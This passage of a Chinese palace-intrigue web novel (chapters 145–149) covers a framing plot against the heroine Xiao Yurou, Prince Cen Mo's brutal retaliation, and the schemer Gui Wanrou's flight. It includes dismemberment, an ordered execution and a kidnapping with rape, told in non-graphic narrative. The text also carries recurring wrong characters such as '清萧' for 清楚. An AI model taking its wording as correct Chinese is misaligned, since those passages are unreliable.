“若有半句假话,愿受千刀万剐!”男子说的信誓旦旦。 老夫人再也撑不住,跪在长公主面前:“求您开恩,语柔她......” 这位一生傲骨铮铮的老夫人,此刻却不得不低下高贵的头颅。她的手在颤抖,声音也在颤抖:“语柔从小在我身边长大,她的为人我最清萧......” 长公主轻叹:“本宫也要依法办事。”她砖头看向萧语柔,“你可有话说?” 萧语柔站在原地,看着满头白发的外祖母跪在地上,心如刀割。她知道,这一切都是冲着她来的,而她最不愿看到的,就是家人因她受苦。 周围的议论声越来越难听,字字句句都在诋毁萧家的名声。有人说萧语柔不检点,有人说萧家教女无方,更有人说这就是攀附权贵的下场。 就在这时,一个清冷的声音传来:“本王倒要看看,是谁这么大的胆子,敢在城门口**。” 岑陌带着侍卫出现在街角,他的目光扫过地上的男子,又落在那件肚兜上。 男子的脸色突然变得惨白,身体不受控制地颤抖起来。 “带回府审问。”岑陌淡淡地说,“本王倒要看看,是谁在背后指使。” 长公主看了岑陌一眼:“既然宁王要插手此事,那本宫就不多管了。”她转身上了马车,“不过,县主的清白,还是要有个说法的。” 马车缓缓驶离,留下一地狼藉。萧语柔扶起老夫人,看着她满头的白发,心中的愧疚几乎要将她淹没。 第一百四十五章 污蔑(一) 老夫人显然受了不小的惊吓。萧语柔微微颤抖的扶起老夫人,眼中闪过一丝忧虑。 “老夫人您先别着急。”萧语柔取出一颗玉髓参制成的药丸。,小心翼翼地塞入老夫人口中,一边轻轻拍着她的背。此时,老夫人的呼吸渐渐平稳,脸色也有了些许好转。 萧语柔朝慕氏使了个眼色,后者会意地上前,搀扶着老夫人缓缓起身。 “老夫人身子不适,还是先回去休息为好。”慕氏低声说道,语气中带着几分焦急。 看着老夫人被搀扶着离去的背影,萧语柔心中怒火更盛。她缓缓转身,目光落在长公主身上。 “您明察秋毫,大公无私,堪称闺阁楷模。”萧语柔嘴角挂着一抹淡淡的笑意,声音清冷,“就算是我的亲舅,也对您推崇备至。” 她一字一顿地继续道:“殿下说得对,决不能偏私,绝不姑息任何居心叵测之徒。”字字如冰,暗含威胁之意。 长公主眸光一沉,显然察觉到了话中的锋芒。她端坐在主位上,眼中闪过一丝阴霾。 萧语柔不再看她,而是转向那个满脸猥琐的男人。男人正肆无忌惮地打量着她的容貌,眼中闪烁着令人作呕的贪婪光芒。 然而,当他对上萧语柔那双仿佛蕴含万年寒冰的眸子时,不由自主地往后退了一步。 “语柔...我是真心爱你的啊。”男人强作镇定,摆出一副深情款款的模样。 他从怀中掏出一件绣工精美的肚兜,举在手中晃了晃:“这件小衣是你遗落在我这的,针线是你亲手绣的,那上头还绣着你闺名啊!这可是御赐的锦缎,寻常人哪用得上?而且...”他压低声音,眼中闪过一丝淫邪,“你腰间有颗胭脂痣...” “放肆!”紫萱怒喝一声,“我家小姐腰后根本没有什么红痣!这肚兜也不是小姐的!” 男人还想狡辩:“怎么不是?上面的刺绣...” “那是我的刺绣!”紫萱咬牙切齿,眼中含泪,“名字也是你找人仿照我的针脚绣上去的!” 萧语柔心中一紧,连忙拉住紫萱的衣袖。郗澜很快就会到,不能让紫萱冲动行事。然而,紫萱已经跪在地上,泪水顺着脸颊滑落。 “小姐,小婢深知您宅心仁厚,事事替下人考虑。”紫萱哽咽着说道,“我终究不过是个卑微仆从,不能让您因为奴婢受这等污蔑。” 她抬起头,眼中满是决然:“这肚兜是我的!是这无耻小贼不知买通了谁偷去的!” 男人脸色大变,下意识看向长公主,眼中闪过一丝慌乱。 “看来是有人弄错了。”长公主淡淡开口,语气中带着几分威胁。 那汉子打了个寒战,额头渗出冷汗:“不、不是的!我还有人证!云黛!以前在幽谷伺候语柔沐浴的丫环...” “云黛?”萧语柔冷笑,眼中闪过一丝讥讽,“四姐已经把她叫去服侍了。你不知道?不,你应该很清萧才对。” 就在这时,一道冰冷的男声响起,打破了大厅内的紧张气氛。一个被打得面目全非的女子被扔在地上,发出一声闷响。 男人认出那是云黛,吓得魂飞魄散,双腿一软,几乎站立不稳。 众人纷纷退让两旁,一个坐在轮椅上的男子缓缓而来。他一身月白锦衣,金冠束发,浑身散发着凛冽的杀气。即便坐在轮椅上,也丝毫不减其威严。 “宁王!”众人惊呼,纷纷行礼。 “陌儿,你怎么来了?”长公主问道,眉头微皱。 “路过京兆府,遇到这丫环去自首。”岑陌淡淡道,目光冷冽,“说是收了银钱,要来污蔑澜宁郡主。但念及县主的恩情,不忍为之,只好去自首。” 男人瘫软在地,面如土色:“不可能...这不可能...” “有什么不可能的?”岑陌反问,杀气四溢。整个大厅的温度仿佛都降低了几分。 长公主开口,试图挽回局面:“陌儿,空穴来风...” “姑母您的意思莫非是,要本王眼睁睁看着王妃被人污蔑?”岑陌打断她的话,声音中带着不容置疑的威严。 长公主沉默片刻,眼中闪过一丝不甘:“既有宁王作保,这事就此作罢。”她顿了顿,又道,“但这丫环留不得,来人,拖下去杖毙!” “这是我的丫环,无需公主操劳。”萧语柔寸步不让,声音坚定。 长公主笑了,笑容中带着几分阴冷:“为了陌儿,为了皇家名声,这样的丫环不能留。本宫可以赏你两个新的。” 萧语柔感觉到紫萱在扯她的衣角,但她更加坚定。她直视长公主的眼睛,一字一句道:“紫萱为人如何,臣女心中清萧。完美无缺之物是否招蝇虫我不得而知,但臣女一定会找出那只恶心的苍蝇,将它碾死。何须为了这等牲口,就要毁了所有的蛋?” 长公主脸色一沉,眼中闪过一丝怒意:“你倒是重情重义。”她冷哼一声,“死罪可免,活罪难逃。掌嘴五十,杖责三十。” 她转向身边的倒三角眼嬷嬷:“韶宏,你去执行。” 韶宏嬷嬷阴森一笑,缓缓走向紫萱。紫萱脸色苍白,但依然挺直腰背,准备接受惩罚。 萧语柔愣愣的站在原地,她知道,这场较量才刚刚开始。长公主不会轻易放过她,而她也绝不会让任何人伤害她身边的人。 第一百四十六章 污蔑(二) 岑陌的剑尖还在滴血,男人的断臂躺在地上,鲜血染红了泥土。寒风呼啸,空气中弥漫着浓重的血腥气。四周的侍卫们噤若寒蝉,不敢发出一丝声响。 “说,幕后主使是谁?”岑陌声音冰冷刺骨,每一个字都仿佛淬了寒冰。他修长的手指轻轻擦拭着剑刃,刀光剑影中映照出他那张俊美却冷酷的面容。 男人跪在地上,浑身颤抖如筛糠一般,额头重重磕在地面。泥土混合着血迹沾染了他的脸:“王爷明鉴,草民与县主真的...啊!” 话音未落,又是一道剑光闪过。男人的另一条胳膊也被斩落,鲜血喷涌而出。他痛苦地在地上打滚,凄厉的惨叫声回荡在空旷的院落中。 “本王去润州之前,早已查探清萧。你这般拙劣的谎言,这是在质疑孤的能力?”岑陌眼中杀意涌动,他缓步向前,每一步都仿佛踏在男人的心上一般。 萧语柔站在一旁,看着那个痛得面目扭曲的男人。她知道,这个人背后站着的是长公主。前世的记忆如潮水般涌来,那些被隐藏在黑暗中的真相,终将在阳光下显露。 不远处,长公主的马车静静停在院中。纱帘轻摆,却始终不见她露面。马车周围的侍卫个个手按刀柄,剑拔弩张的气氛愈发浓重。 “王爷,草民说的句句属实!”男人强忍剧痛颤抖着喊道,“我与语柔相好已久,她还赠予我...” “哦?”萧语柔忽然轻笑,眸中闪过一丝讥讽。她莲步轻移,裙摆在地上划出优美的弧度:“那你可记得是何时开始的?” 男人心中一紧,额头渗出冷汗。他飞快思索着,声音中带着几分慌乱:“在你入京城的前几日。” “有趣。”萧语柔缓缓走到男人面前,居高临下地看着他。她的声音依旧柔和,却带着不容置疑的锋芒,“那时我父母重病,我寸步不离萧府。更何况...”她意味深长地看了眼岑陌,“宁王也在润州。” 男人脸色瞬间煞白,冷汗如雨下。他张了张嘴,却说不出一个字来。 “本王治水匪一事,从未公开。”岑陌眼中杀意更甚,周身的气势仿佛要将人压垮,“来人,凌迟处死!” 男人终于崩溃,朝马车方向声嘶力竭地喊道:“长公主救我!” 话音未落,微澜已闪电般点了他的哑穴。男人瞪大了眼睛,却再也发不出声音。 眼看事情败露,韶宏嬷嬷突然变了脸色。她猛地扬手朝紫萱掌掴而去,清脆的巴掌声在院中回响。紫萱细嫩的脸顿时高高肿起,眼泪在眼眶中打转。 前世紫萱为她而死,那凄惨的一幕至今让她心痛不已。今生她绝不能再让这一幕重演。 “公主殿下,紫萱是我的婢女,她的过错该由我承担。”萧语柔上前一步,挡在紫萱身前。她的声音虽轻,却带着不容动摇的坚定。 岑陌眸色一沉:“嬷嬷这是要在本王面前打死人?” 韶宏冷笑一声道:“王爷莫要插手长公主府中家事。” 说着又是一掌朝紫萱扇去。萧语柔见状立即冲上前去拦截,却被一旁的林妈妈突然出手,一脚踢倒在地。她吃痛地闷哼一声,嘴角渗出一丝血迹。 “敢打本王的人,好大的狗胆?林妈妈,给她也来五十掌,三十鞭。”岑陌眼中寒芒乍现,周身杀气四溢。 长公主终于坐不住,冷冷开口:“也罢,饶了这贱婢。墨兰、紫薇,你们今后服侍县主。” 两个丫环从马车旁走出,向萧语柔行礼。她们的眼神平静得有些可怕,显然是经过严格训练的。 萧语柔心知这是长公主安插的眼线,却不得不应下。她垂眸掩饰眼中的情绪,心中已开始盘算对策。 回到侯府,天色已近黄昏。暮色笼罩下的府邸显得格外压抑。突然,一个丫环慌慌张张地跑来,眼泪纵横:“老夫人吐血了!四小姐封锁了府门,不让请太医!” 萧语柔感觉浑身的血液仿佛在瞬间凝固。她顾不得整理凌乱的衣裙,飞快往福寿堂赶去。脚下的石板路仿佛无穷无尽,每一步都像是踏在刀尖上。 庭院深处传来阵阵哭声。萧语柔的脑海中不断闪现前世的画面——桂婉柔借机夺权,一步步将萧家推向深渊。她的手紧紧攥成拳头,指甲深深陷入掌心。 这一次,她绝不能让桂婉柔如愿以偿。 福寿堂的大门紧闭,几个婆子守在门口,神色不善。萧语柔快步上前,却被拦住。她环顾四周,发现府中的侍卫不知何时都已换成了生面孔。 岑陌浑身散发着凛冽的寒意,仿佛一座冰山般矗立在那里。院中的梅花在寒风中摇曳,花瓣零落,衬得整个场景更添几分萧瑟。 林妈妈站在廊下,看着他的背影,心中暗暗叹息。她在宫中数十年,还从未见过宁王如此动怒。往日里再大的风浪,他都能沉着应对,今日却是真的动了杀心。 “王爷...”林妈妈欲言又止。 岑陌微微侧首,声音冷得像是淬了冰:“去查,一个都不要放过。” “是。”林妈妈躬身退下,心中思绪翻涌。长公主这次确实太过急躁,竟然就这样贸然出手。若是平常也就罢了,偏偏选在这个节骨眼上。 寒风呼啸,吹得庭院中的灯笼摇摇欲坠。一片枯黄的梅花瓣飘落在岑陌肩头,他却浑然不觉,只是静静地站在那里,仿佛与整个天地融为一体。 此时的长公主府内,气氛凝重得令人窒息。 长公主坐在主位上,眉头微蹙,手指有一下没一下地敲击着檀木扶手。案几上的茶早已凉透,却无人敢上前添换。 按她原本的计划,这件事本该再完善些,再等待些时日。如今却弄得漏洞百出,让人轻易就能躲过。更糟的是,还惊动了岑陌。 “桂婉柔现在何处?”长公主淡淡开口,语气中带着一丝不易察觉的烦躁。 跪在地上的婢女战战兢兢:“回禀长公主,她还在侯府。” “呵。!本宫竟也有被人当枪使的一天,这个桂婉柔,倒是好手段。”长公主起身走到窗前,望着外面阴沉的天色,眼中闪过一丝寒意。 微澜悄悄上前,小声道:“她还有些用处,要不要帮她一把?” “她就是吃准了本宫现在不会要她的命,才敢在本宫头上动手脚。”长公主冷哼一声,“罢了,陌儿这次动了怒,必须找个人当他的出气筒,就让他去处置吧。” “是。”微澜应声退下,心中却在盘算着该如何周旋。 第一百四十七章 祖孙情 侯府内,萧语柔看着床榻上的老夫人,心中一阵酸萧。老夫人面色苍白,呼吸微弱,虽然用蓬莱玉珊暂时稳住了病情,但这次的打击实在太重。之前费尽心力才修补好的身子,现在又回到了原点。 屋内燃着安神的檀香,却掩不住药味。萧语柔握着老夫人的手,感受着那微弱的脉搏,眼眶不由得湿润。 “孩子,别自责。”老夫人拍了拍她的手,声音虚弱却温和,“人总有一死,这不怪你。” 萧语柔强忍泪水:“外祖母......” “我听说宁王还是护着你的,他有这份心,我就放心了。”老夫人说完这句话,便疲惫地闭上了眼睛。 玉姨娘将萧语柔带到外间,指着一个青瓷香炉。炉中余烬未尽,一缕紫薇袅袅升起。 “这香料与老夫人的药物相克。”玉姨娘压低声音说,“若不是发现得早,后果不堪设想。” “是谁送来的?”萧语 “二公子。” 萧语柔心中一惊。桂辰虽然懦弱,但从小在老夫人膝下长大,断不会做出这种事。况且,他对香料一窍不通,更不可能知道哪些香料会与药物相克。 她正思索间,外面传来禀报,说桂辰来了。 院中寒风萧瑟,桂辰站在那里,整个人失魂落魄。他的衣衫有些凌乱,面色憔悴,眼中布满血丝,哪还有往日世家公子的风范。 “外祖母她......”他的声音有些发抖。 “外祖母已无大碍。”萧语柔看着这个可怜的二哥,轻声道,“二哥,你还是早些离京吧。” 桂辰勉强挤出一个笑容,转身离去。他的背影显得格外萧索,仿佛一片随风飘零的落桂。 萧语柔望着他蹒跚的背影,心中五味杂陈。这个二哥,从小就胆小怯懦,如今却被卷入这样的漩涡中。 “桂婉柔呢?”她问身边的林婆子。 “小姐入府时,她悄悄溜去了偏门。”林婆子压低声音,“听说是往城南去了。” 萧语柔冷笑一声,这次看她往哪里逃。桂婉柔,你以为躲得过去吗? 夜幕降临,乌云密布,仿佛随时会下起大雨。 岑燕燕气冲冲地闯进屋内,一进门就开始抱怨:“都怪那个韩月!传闻有圣旨到来,结果是假的,害我被她缠了一整天!” “她问东问西,净打听些莫名其妙的事。什么宁王最近在忙什么,什么时候回府,烦死了!” 萧语柔听到韩月这个名字,若有所思。她端起茶盏,轻轻抿了一口。 韩月,户部侍郎之女,表面温和,实则心机深沉。她最近频繁出入各府,看似是为了说媒,实则不知在打什么主意。 萧语柔忽然想到一个可能性,韩月会不会是长公主的人?但韩家明面上支持睿王,这又说不通。 她总觉得自己忽略了什么重要的线索,就像是一团乱麻,理不出头绪。 外面传来雨声,淅淅沥沥的雨点打在窗台上,发出清脆的响声。萧语柔走到窗前,望着被雨幕笼罩的庭院,心中思绪万千。 这时,一个小丫鬟匆匆进来:“小姐,宁王府来人了。” 萧语柔微微一怔,这个时辰,岑陌派人来做什么? “让他们在前厅等着。”她整理了一下衣襟,深吸一口气。 雨越下越大,仿佛要将整个龙都淹没。萧语柔站在廊下,看着那漆黑的夜色,心中隐隐有种不安的预感。 翌日。 “郡主可知何为捧杀?”萧语柔语气温和,淡淡的说道,“把人捧上天际,摔下来时才最疼。” 岑燕燕眼中闪过一丝惊讶,随即又被困惑取代。她下意识地抱紧了怀中的大珍,似乎在思索这句话的深意。大珍不安地扭动着,发出细微的呜咽声。 “时候不早了。”萧语柔轻轻抚摸着大珍的头,目光却落在岑燕燕脸上,“郡主该回去休息了。” 岑燕燕张了张嘴,似乎还想说什么,但最终只是点点头,带着大珍离开了。 房内一时陷入寂静,只余烛火摇曳的声响。墨兰和紫薇对视一眼,正要上前服侍。 “你们是长公主府的人,”萧语柔转身,目光在两个丫鬟身上逡巡,“这些琐事不必做了,早些休息吧。” 话音刚落,两个丫鬟立刻跪倒在地,额头紧贴地面:“请县主恕罪,我们也是被迫无奈,长公主的吩咐不得不听。”声音中带着几分颤抖。 萧语柔站在原地沉默片刻,随即缓步走到两人面前,:“两个主子难伺候,我都明白。起来吧。” “多谢县主体谅。”紫薇抬起头,“我们也受过宁王殿下的恩惠,定不会害了县主。” 萧语柔的目光却深不可测:“只要你们忠心,我必护你们周全。” 等两个丫鬟退下,墨兰忍不住低声道:“这位县主年纪不大,心思却深得很。” “再深,也不过十几岁。”紫薇淡淡一笑,整理着床褥,“我们只管做好分内事就是。” 萧语柔独自躺在床上,思绪如潮水般涌来。窗外传来虫鸣声,细碎而绵长。 肚兜一事定是穆秋煜所为,这等私密之物本该锁好,却还是被他得手。此人重生而来,心思歹毒,这次不成定还有后招。她翻了个身,月光洒在床边,将她的影子拉得很长。 穆秋煜不能留,只是他如今投靠睿王一党,要动手并不容易。正想着,身边一沉,熟悉的气息靠近。 “殿下......” “阿柔......” 两人同时开口,气氛顿时缓和下来。岑陌的手臂环住她的腰,将她拉入怀中。 “你先说。”萧语柔低垂眼帘,睫毛在脸上投下细小的阴影。 岑陌将她搂得更紧:“今天是我保护不力。”声音中带着几分自责。 “不怪殿下。”萧语柔轻声道,手指攥紧了被角,“殿下可信我?我与那人并无......” “我信。”岑陌额头抵着她的,“你说什么我都信。” 萧语柔忽然抬头,唇瓣相触。岑陌眼尾泛红,气息炙热,将她搂得更紧。 夜色渐深,窗外传来更加密集的虫鸣声。 次日清晨,流言已平。萧语柔趁着天色未明,从暗门出去。晨露打湿了她的裙角,空气中还带着几分凉意。 郗澜和梨竹早已在约定地点等候。梨竹看上去憔悴了许多,眼下一片青黑。 “小姐,紫萱她......”梨竹声音哽咽。 “都怪我拖了她后腿。”萧语柔将卖身契交给梨竹,“等她伤好,再问她想法。若是想走,我绝不强留。” 梨竹跪地叩首,泪水滴落在地上。 郗澜看不下去,抱怨道:“你交代的事,没一件简单的。这些人命关天的事,哪有那么容易办。” “这点小事就不麻烦吕指挥使大人。”萧语柔笑道,“若是寻常事,我又何必来找你。” “我已不是指挥使了。”郗澜摇头,眼中闪过一丝落寞。 “在我心里,只有你配得上这个位置。”萧语柔认真道。 郗澜虽知她会说话,还是忍不住高兴:“放心,我会安排,只是需要些时日。这事不能急,得慢慢来。” “我知道,慢些无妨,别把自己搭进去就好。”萧语柔叮嘱道,“最近一段时日我会销声匿迹,锦绣坊的事就交给你们了。若有急事,让锦绣坊送玉颜丹来府上。” 交代完毕,萧语柔趁着晨光未盛回府。 清早,微澜发现韶宏嬷嬷四肢被砍。血腥味弥漫在整个房间,韶宏嬷嬷躺在血泊中,已经没了气息。 长公主闻讯赶来,还未进门就闻到刺鼻的血腥气。她的脸色瞬间变得铁青。 “是不是他干的?”长公主咬牙问道,指节因用力而发白。 微澜无言以对。岑陌的人故意等公主府的人看到才离开,这是赤裸裸的警告。房间里的血迹还未干涸,空气中弥漫着令人作呕的腥气。 “好啊!”长公主冷笑,声音中带着刺骨的寒意,“和他母妃一个德行的小崽子!本宫当初就不该救他!” “殿下息怒,三皇子从小跟着您长大......”微澜试图劝解。 “不必多言。”长公主挥手打断,眼中闪过一丝阴狠,“去叫子都来。” 不多时,寝房传出暧昧声响。微澜坐在廊下,给岑陌传话:“长公主动怒了,请殿下早些回府认错。” 岑陌收到消息,只顾与墨凌霄对弈。棋子落在棋盘上,发出清脆的声响。 墨凌霄叹了口气,目光落在棋盘上:“桂婉柔任凭处置,只求殿下顾及太傅府颜面。” “送客。”岑陌淡淡道,又落下一子。 “公子,桂姨娘逃了,还伤了夫人。”小厮匆匆进来禀报。 “随她去。”墨凌霄摇头,眼中闪过一丝无奈。 敢用这等手段对付岑陌,连长公主都吃了亏,这桂婉柔,怕是活不长了。棋盘上的黑白子纠缠在一起,如同命运的交织。 第一百四十八章 逃亡 桂婉柔逃出后,心中惶恐不安。她四处张望,像只受惊的兔子,不知该往何处去。初春的寒风呼啸而过,吹得她单薄的衣衫猎猎作响,也吹散了她脸上未干的泪痕。 街道上行人稀少,偶有几个商贩推着小车匆匆而过,没人注意到这个衣着华贵却狼狈不堪的女子。 “母亲...对,母亲一定会帮我!”桂婉柔心中一喜,跌跌撞撞地朝穆府方向跑去。寒风刺骨,她却顾不得许多,只想快点见到母亲。 然而,穆府大门紧闭,仿佛一堵冰冷的高墙。门前的石阶上落满了枯叶,显然许久无人打扫。桂婉柔拍打着门扉,声嘶力竭地喊着:“母亲!母亲!女儿是婉柔啊!求您开门!” 无人应答。只有风声呜咽,如同她内心的哭泣。 “开门啊!母亲!”桂婉柔的声音渐渐嘶哑,手掌拍得生疼。她靠着门框缓缓滑下,跪坐在地上,泪如雨下。 路过的行人纷纷侧目,窃窃私语道:“呦!这不是桂家小姐吗?怎么在这儿哭?” “听说她得罪了宁王妃...” “嘘,别说了,小心惹祸上身。” 桂婉柔把脸埋在膝盖里,肩膀不住地颤抖。她忽然意识到,自己已无处可去。那些曾经趋之若鹜的权贵,此刻怕是连大门都不会为她打开。 “墨王...不行,事情已经搞砸了,他肯定不会放过我...”桂婉柔喃喃自语道。她想起墨王那张阴鸷的脸,眼中闪过一丝恐惧,不由得打了个寒颤。 她漫无目的地在街上游荡,脚步虚浮,神情恍惚。街边小贩的吆喝声,来往行人的谈笑声,都与她无关。忽然,一对威武的石狮子映入眼帘。桂婉柔抬头,看到“大理寺”三个大字,眼中闪过一丝希望。 与此同时,衙门边的小茶馆中,郗澜正悠闲地品着一杯清茶。他穿着普通的青布长衫,看起来与普通茶客无异,但那双锐利的眼睛却一直紧盯着大理寺的大门。 茶寮里人来人往,说书先生正绘声绘色地讲着《三国》,茶客们听得入神。郗澜却充耳不闻,手指有一下没一下地敲着桌面。 半个时辰后,桂婉柔从大理寺出来,脸上带着古怪的兴奋。她的步伐轻快了许多,嘴角甚至挂着一丝笑意。郗澜放下茶杯,悄无声息地跟了上去。 桂婉柔沉浸在自己的思绪中:“只要能成功,就连宁王也不足为惧...我一定能行的!”她加快脚步,穿过一条条巷子。 正当她沉醉于即将到来的胜利时,一只布袋忽然砸了下来,将她罩住。桂婉柔还未来得及惊呼,后脑勺就挨了重重一击,眼前一黑,失去了知觉。 当她再次睁开眼睛时,眼前的景象让她瞬间清醒。一个衣衫褴褛、面目可憎的男人正用贪婪的目光打量着她。破旧的房间里弥漫着霉味和汗臭,墙角堆着发黄的草席,一盏油灯摇曳着微弱的光。 “这颜值着实顶流...”男人咽了咽口水,伸手去解自己的衣带。他脸上的疤痕在昏暗的灯光下显得格外狰狞。 桂婉柔惊恐万分,拼命挣扎,却发现手脚都被粗麻绳紧紧绑住。绳子勒进肉里,火辣辣的疼。她尖叫道:“你别过来!滚开!我是桂家小姐,你敢动我,桂家不会放过你的!” 男人却充耳不闻,发出一声低笑:“桂家?现在谁还管你桂家?”他继续靠近,酒气熏天。 桂婉柔绝望地闭上眼睛,泪水夺眶而出。她知道,此刻即便是喊破喉咙也不会有人来救她。这里应该是城郊的低等勾栏,平日里就是干这种勾当的地方。 “一定是萧语柔那个贱人干的!”她在心中咒骂,“这笔账咱们慢慢算!” 接下来发生的事情,如同一场噩梦。桂婉柔感觉自己的灵魂仿佛离开了身体,冷眼旁观着这一切。她的尖叫、咒骂、哭泣,都变得遥远而虚幻。那个男人粗重的喘息声,油灯的噼啪声,远处传来的丝竹声,都让她作呕。 不知过了多久,桂婉柔已经连哭泣的力气都没有了。她紧紧凝视着陈旧的房顶,眼中充满了仇恨。那里有一只蜘蛛正在织网,就像命运正在为她编织一张更大的网。 “萧语柔...今日必让你命丧黄泉...”她在心中默默发誓,“我要让你生不如死...” 正在这时,一声惨叫打断了她的思绪。桂婉柔勉强抬头,看到一柄长剑穿透了那个男人的胸膛。鲜血溅在她脸上,温热粘稠。 男人瞪大了眼睛,不可置信地看着自己的胸口,然后重重地倒下了。桂婉柔呆呆地看着这一切,甚至忘了尖叫。 一个黑衣人从阴影中走出来,动作利落地割断了绑着她的绳子。桂婉柔想要道谢,却发现黑衣人已经消失在夜色中。 与此同时,郗澜终于找到了这处低等勾栏院。他花了些银子,打听到一些消息。店小二支支吾吾地说,有人花大价钱买通了这里的老鸨,要她找个最粗鄙的男人来羞辱一个贵女。 “看来要送玉颜丹了。”郗澜自言自语,迅速离开了现场。这种事他见得多了,有些人为了达到目的,什么手段都使得出来。 他刚走,一个蒙面黑衣人就出现在原地。黑衣人警惕地四处张望,确认无人后才离开。那轻盈的身影在夜色中如同一缕紫薇。 郗澜躲在暗处,目送黑衣人离去。他暗自思忖:“这人是谁派来的?难道还有其他人也在关注这件事?” 下午,萧语柔收到了锦绣坊送来的玉颜丹。阳光透过窗棂,在地上投下斑驳的光影。 墨兰接过药盒,对正在看书的萧语柔说:“小姐,奴婢去把这个放到屋里。”她的声音有些紧张,但萧语柔似乎没有察觉到。 萧语柔点点头。 墨兰进了内室,悄悄打开药盒,仔细检查每一颗丹药。药丸圆润饱满,散发着淡淡的药香。她把每一颗都拿起来看,确认没有夹带任何暗号或字条后,难免心生落寞。 “这位澜宁郡主,平日里不是吃喝玩乐,就是陪老夫人,哪里像个有阴谋的样子...”墨兰暗自嘀咕,把药丸放回盒子里。 “这丹药莫非有诈?” 萧语柔的声音突然在身后响起,吓得墨兰差点跳起来。她手一抖,药盒差点掉在地上。 “没...没什么问题。”墨兰慌忙行礼,心虚得不敢抬头。 萧语柔微笑道:“没想到你还懂医术,看来我们有共同话题了。” 墨兰心虚解释:“奴婢只是略懂皮毛。这玉颜丹在长公主府也见过,今日锦绣坊突然送来,奴婢担心有人别有用心,这才想替县主检查一下。” 萧语柔眨了眨眼,从墨兰手中拿起一颗丹药,直接吞了下去。 墨兰松了口气,但紫薇却感到一阵寒意。这位县主,该不会是在试探墨兰吧? 果不其然,下午萧语柔就腹痛难忍,几乎晕厥。她脸色苍白如纸,冷汗涔涔,整个人蜷缩在床上,痛苦地呻吟。 府里急忙请来大夫,却查不出病因。岑燕燕怒不可遏,指着墨兰大骂:“果然你们都在搞事情!是不是我姑姑指使你下毒的?” 墨兰连忙跪地带着哭腔道:“长公主并未参与!奴婢也没有下毒啊!” 萧语柔虚弱地靠在床头,拦住了要踢人的岑燕燕:“别急,可能是我这两天受凉了,吃不得玉颜丹。让人去锦绣坊,把制药的大夫叫来,我问问就知道了。”她的声音虽然虚弱,但语气却异常平静。 岑燕燕仍不解气,她瞪着墨兰,眼中几乎要喷出火来:“滚去院子里思过!等语柔好了再起来!” 墨兰慌忙走出去跪下了。院子里寒风凛冽,她却不敢动一下。 不多时,锦绣坊的掌柜带着一位陌生的长须老大夫匆匆赶到。 第一百四十九章 传递消息 萧语柔揉了揉发胀的太阳穴,抬眸看向面前的老大夫道:“前两日吃的风寒药与这药方相冲,还请大夫重开一副方子。” 老大夫捋着花白的胡须,目光闪烁了一下,随即点头提笔。 “紫薇,去抓药。”岑燕燕命令道。 紫薇低头回话:“回郡主的话,县主身边就奴婢一人伺候,若是去抓药,怕是有所不便。” “我让你去就去!”岑燕燕眉头一皱,声音陡然提高。 “罢了,”萧语柔轻声打断这剑拔弩张的气氛,“让小梅去吧。” 紫薇如蒙大赦,连忙应声退下。她快步走出房门,脸上的紧张这才稍稍缓解。 趁着这短暂的空档,老大夫佝偻着身子,悄无声息地将一张纸条塞进萧语柔手中。他的动作极其隐蔽,仿佛只是例行的把脉诊断。 紫薇很快带着小梅回来,打断了这转瞬即逝的时机。萧语柔将纸条藏进袖中,面色如常地与大夫说着话。 直到宾客散尽,萧语柔才在烛光下展开那张皱巴巴的纸条。桂婉柔的字迹潦草却有力:那位神秘人终于有了动作。 这是个好兆头,可惜现在她分身乏术。秋巡在即,朝廷上下都在为这件大事忙碌。 临行前一日,老夫人将她唤到房中。昏黄的灯光下,老夫人的面容显得格外慈祥。她郑重其事地将一条项链交到萧语柔手中,链子很细,坠着一块沉甸甸的菱形饰物。 “这个挂饰是姥姥留给我的命根子,”老夫人握着她的手,语重心长道,“记得贴身带着它,切记不可交予他人。” 萧语柔摩挲着冰凉的坠子,能感受到上面细密的纹路。“外祖母放心。”她轻声应下,想了想又补充道:“外祖母近来要多留意二哥。” 秋高气爽,车马辚辚。萧语柔坐在马车里,听着外头喧嚣渐起。这次秋巡除了礼部官员,还有几位宫妃和她们的亲眷。岑陌领着护卫,谷长风带着年轻武将,浩浩荡荡一队人马向城外进发。 马蹄声、车轮声、说话声交织在一起,偶尔还有鸟儿的啼鸣声。萧语柔靠在软垫上,透过车窗的缝隙看着外面掠过的景色。 “县主?”车外突然传来询问声。 墨兰掀开帘子:“何事?” “宁王殿下命属下送来点心,说午时歇息时会来拜访县主。”护卫恭敬地递上一个精致的食盒。 食盒里摆满了明月阁的糕点,香气四溢。萧语柔正要说话,忽然感觉车厢一晃。 萧瑾不知何时钻进车厢,动作敏捷得像只灵巧的猫。她抓起一块虾饼就往嘴里塞,吃相豪迈得一点都不像个姑娘家。 墨兰和紫薇被她突如其来的出现吓了一跳,萧瑾冷冷瞥了她们一眼:“我的剑很久没开过荤了。”语气中带着若有若无的威胁。 “别吓她们,”萧语柔无奈地笑道,“一起吃吧。”她将食盒往中间推了推。 她心想着要给三皇子也准备些吃食才是。 未时将至,队伍在一片林间空地歇息。御厨们忙着准备饭食,皇上陪着太后在溪边说话,气氛祥和。 萧语柔刚下马车,就有人送来桌椅饭食。秋日的阳光温暖而不刺眼,微风拂过脸颊,带来一丝清爽。 岑陌坐在她对面,难得露出温和的神色。这种平静温馨的时刻,是他从未体会过的。他看着萧语柔优雅地用膳,心中涌起一种说不清道不明的情绪。 “接下来我会一直守着您,有事找杜若便是。”他指了指一旁站着的圆脸护卫,语气中带着几分关切。 萧语柔点头应下,目光不经意间扫过远处的野花。金黄的野菊在风中摇曳,像是在向过往的行人招手。 这一路上,除非遇到大雨,队伍都在城外扎营。夜晚的虫鸣此起彼伏,蚊虫肆虐得让人难以入眠。萧瑾额头上被叮出两个大包,活像长了犄角,惹得岑燕燕和她养的那只鸡一起笑闹。 营地里,士兵们巡逻的脚步声和远处的狼嚎交织在一起。萧语柔躺在帐篷里,听着外面的声响,思绪纷飞。她摸了摸脖子上的项链,冰凉的触感让她稍稍安心。 夜深人静时,远处传来一阵马蹄声,由远及近,最后又渐渐远去。萧语柔翻了个身,月光透过帐篷的缝隙洒进来,在地上留下一道银白的痕迹。 次日清晨天还没亮透,营地就开始忙碌起来。士兵们收拾帐篷,御厨们准备早膳,马夫们给马匹喂食。萧语柔坐在马车里,看着晨雾中忙碌的人群,不禁想起了老夫人临别时的叮嘱。 岑陌骑在马上,目光时不时扫向萧语柔的马车。他派了几个暗卫跟着,却总觉得不够安心。这次秋巡看似平常,实则暗流涌动。 